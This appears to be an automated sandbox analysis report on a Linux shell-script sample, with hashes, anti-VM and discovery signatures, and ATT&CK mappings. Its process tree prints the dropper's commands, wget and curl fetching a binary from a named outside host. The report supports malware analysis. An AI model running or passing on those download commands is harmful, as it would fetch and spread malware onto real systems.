143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:07

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General

Target
143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
Size 10KB
Sample241122-ckapxaskbz
SHA256 143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816
MD5 97ffaecbf363475e19dcf85ba3b90269
SHA1 85bc9adc6dcf8b605334fc3966dc3924cb6af00f
SHA512 344e97b4547b4a4047d5707f58dd65ee24c87adcc076227e2598d98e8facc87e6dfb5fd1538ce835157bbc91335798e5b6ecba8c152eaa77eb8182ae72165cf4
SSDEEP 192:2+uMV803qWtvH7wJpfWS1TQAfH7wJptWS1TQAh803qW/:2+uMV803qWtvH7wJpfWS1TQAfH7wJptv
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
678	wget
683	curl

/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
1⤵
PID:671
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:673
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:678
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:683

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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